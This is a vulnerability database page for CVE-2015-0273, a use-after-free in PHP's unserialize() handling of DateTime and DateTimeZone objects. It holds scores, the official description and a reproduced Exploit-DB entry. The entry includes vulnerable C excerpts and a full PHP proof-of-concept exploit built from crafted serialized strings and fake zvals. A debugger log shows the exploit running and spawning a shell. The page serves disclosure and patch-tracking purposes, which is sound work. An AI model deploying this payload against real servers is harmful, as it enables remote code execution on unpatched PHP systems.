CVE-2015-0273 Detail

CVE-2015-0273

EPSS

94.4%V3

Vector

Network

Published

2015-03-30
08h00 +00:00

Modified

2018-01-04
18h57 +00:00

Official links

CVE.org

NVD

Notifications for a CVE

Stay informed of any changes for a specific CVE.

Notifications manage

List of Notifications

Notifications for a CVE

Stay informed of any changes for a specific CVE.

Criteria applied when sending the alert: compared with the last alert sent + differences in CISA, EPSS, CVSS, CWE, Solutions, CPE.

Parameters

You can specify a title that will be retrieved in the alerts that will be sent out.

Specified here a CVE ID as CVE-2025-1234

Planning

Month

Next run calculation

Day

Weekday

Hour

Minute

Creation date

Last execution

Next execution

Functionality requiring a connection

This feature, which allows you to receive alerts, is only active when you are logged into your account.

CVE Descriptions

Multiple use-after-free vulnerabilities in ext/date/php_date.c in PHP before 5.4.38, 5.5.x before 5.5.22, and 5.6.x before 5.6.6 allow remote attackers to execute arbitrary code via crafted serialized input containing a (1) R or (2) r type specifier in (a) DateTimeZone data handled by the php_date_timezone_initialize_from_hash function or (b) DateTime data handled by the php_date_initialize_from_hash function.

CVE Informations

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V2	7.5		AV:N/AC:L/Au:N/C:P/I:P/A:P	[email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Exploit information

Exploit Database EDB-ID : 36158

Publication date : 2015-02-22
23h00 +00:00
Author : Taoguang Chen
EDB Verified : No

Use After Free Vulnerability in unserialize() with DateTime* [CVE-2015-0273] Taoguang Chen <[@chtg](http://github.com/chtg)> - Write Date: 2015.1.29 - Release Date: 2015.2.20 A use-after-free vulnerability was discovered in unserialize() with DateTime/DateTimeZone/DateInterval/DatePeriod objects's __wakeup() magic method that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely. Affected Versions ------------ Affected is PHP 5.6 < 5.6.6 Affected is PHP 5.5 < 5.5.22 Affected is PHP 5.4 < 5.4.38 Credits ------------ This vulnerability was disclosed by Taoguang Chen. Description ------------ static int php_date_initialize_from_hash(php_date_obj **dateobj, HashTable *myht) { zval *z_date; zval *z_timezone; zval *z_timezone_type; zval tmp_obj; timelib_tzinfo *tzi; php_timezone_obj *tzobj; z_date = zend_hash_str_find(myht, "date", sizeof("data")-1); if (z_date) { convert_to_string(z_date); z_timezone_type = zend_hash_str_find(myht, "timezone_type", sizeof("timezone_type")-1); if (z_timezone_type) { convert_to_long(z_timezone_type); z_timezone = zend_hash_str_find(myht, "timezone", sizeof("timezone")-1); if (z_timezone) { convert_to_string(z_timezone); ... static int php_date_timezone_initialize_from_hash(zval **return_value, php_timezone_obj **tzobj, HashTable *myht TSRMLS_DC) { zval **z_timezone = NULL; zval **z_timezone_type = NULL; if (zend_hash_find(myht, "timezone_type", 14, (void**) &z_timezone_type) == SUCCESS) { if (zend_hash_find(myht, "timezone", 9, (void**) &z_timezone) == SUCCESS) { convert_to_long(*z_timezone_type); if (SUCCESS == timezone_initialize(*tzobj, Z_STRVAL_PP(z_timezone) TSRMLS_CC)) { return SUCCESS; } } } return FAILURE; } The convert_to_long() leads to the ZVAL and all its children is freed from memory. However the unserialize() code will still allow to use R: or r: to set references to that already freed memory. There is a use after free vulnerability, and allows to execute arbitrary code. Proof of Concept Exploit ------------ The PoC works on standard MacOSX 10.10.2 installation of PHP 5.5.14. <?php $f = $argv[1]; $c = $argv[2]; $fakezval1 = ptr2str(0x100b83008); $fakezval1 .= ptr2str(0x8); $fakezval1 .= "\x00\x00\x00\x00"; $fakezval1 .= "\x06"; $fakezval1 .= "\x00"; $fakezval1 .= "\x00\x00"; $data1 = 'a:3:{i:0;O:12:"DateTimeZone":2:{s:13:"timezone_type";a:1:{i:0;i:1;}s:8:"timezone";s:3:"UTC";}i:1;s:'.strlen($fakezval1).':"'.$fakezval1.'";i:2;a:1:{i:0;R:4;}}'; $x = unserialize($data1); $y = $x[2]; // zend_eval_string()'s address $y[0][0] = "\x6d"; $y[0][1] = "\x1e"; $y[0][2] = "\x35"; $y[0][3] = "\x00"; $y[0][4] = "\x01"; $y[0][5] = "\x00"; $y[0][6] = "\x00"; $y[0][7] = "\x00"; $fakezval2 = ptr2str(0x3b296324286624); // $f($c); $fakezval2 .= ptr2str(0x100b83000); $fakezval2 .= "\x00\x00\x00\x00"; $fakezval2 .= "\x05"; $fakezval2 .= "\x00"; $fakezval2 .= "\x00\x00"; $data2 = 'a:3:{i:0;O:12:"DateTimeZone":2:{s:13:"timezone_type";a:1:{i:0;i:1;}s:8:"timezone";s:3:"UTC";}i:1;s:'.strlen($fakezval2).':"'.$fakezval2.'";i:2;O:12:"DateTimeZone":2:{s:13:"timezone_type";a:1:{i:0;R:4;}s:8:"timezone";s:3:"UTC";}}'; $z = unserialize($data2); function ptr2str($ptr) { $out = ""; for ($i=0; $i<8; $i++) { $out .= chr($ptr & 0xff); $ptr >>= 8; } return $out; } ?> Test the PoC on the command line, then any PHP code can be executed: $ lldb php (lldb) target create "php" Current executable set to 'php' (x86_64). (lldb) run uafpoc.php assert "system$'sh'$==exit" Process 13472 launched: '/usr/bin/php' (x86_64) sh: no job control in this shell sh-3.2$ php -v PHP 5.5.14 (cli) (built: Sep 9 2014 19:09:25) Copyright (c) 1997-2014 The PHP Group Zend Engine v2.5.0, Copyright (c) 1998-2014 Zend Technologies sh-3.2$ exit exit Process 13472 exited with status = 0 (0x00000000) (lldb)